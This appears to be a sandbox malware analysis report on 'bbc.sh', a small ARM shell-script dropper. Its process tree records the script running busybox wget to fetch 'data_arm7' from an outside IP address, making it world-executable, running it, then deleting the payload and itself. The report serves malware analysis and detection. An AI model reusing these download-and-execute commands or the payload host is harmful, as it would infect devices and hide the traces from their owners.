Analysis

  • max time kernel
    5s
  • max time network
    6s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/08/2026, 00:56

General

  • Target
    bbc.sh
  • Size 498B
  • Sample260820-baltraxclf
  • SHA256 e266c8d3b55220ad94d6c27da4758809bf0e8c359aeb63e6592a6de52a216c95
  • MD5 SHA1 SHA512 TLSH
Score
7/10

Malware Config

Signatures

Processes

  • /tmp/bbc.sh
    /tmp/bbc.sh
    1⤵
      PID:645
      • /bin/uname
        uname -m
        2⤵
          PID:646
        • /bin/rm
          rm data_arm7
          2⤵
            PID:649
          • /bin/busybox
            busybox wget http://31.58.171.194/data_arm7
            2⤵
              PID:652
            • /bin/chmod
              chmod 777 data_arm7
              2⤵
              • File and Directory Permissions Modification
              PID:749
            • /tmp/data_arm7
              ./data_arm7 tbk
              2⤵
                PID:750
              • /bin/rm
                rm data_arm7
                2⤵
                  PID:751
                • /bin/rm
                  rm /tmp/bbc.sh
                  2⤵
                    PID:752

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads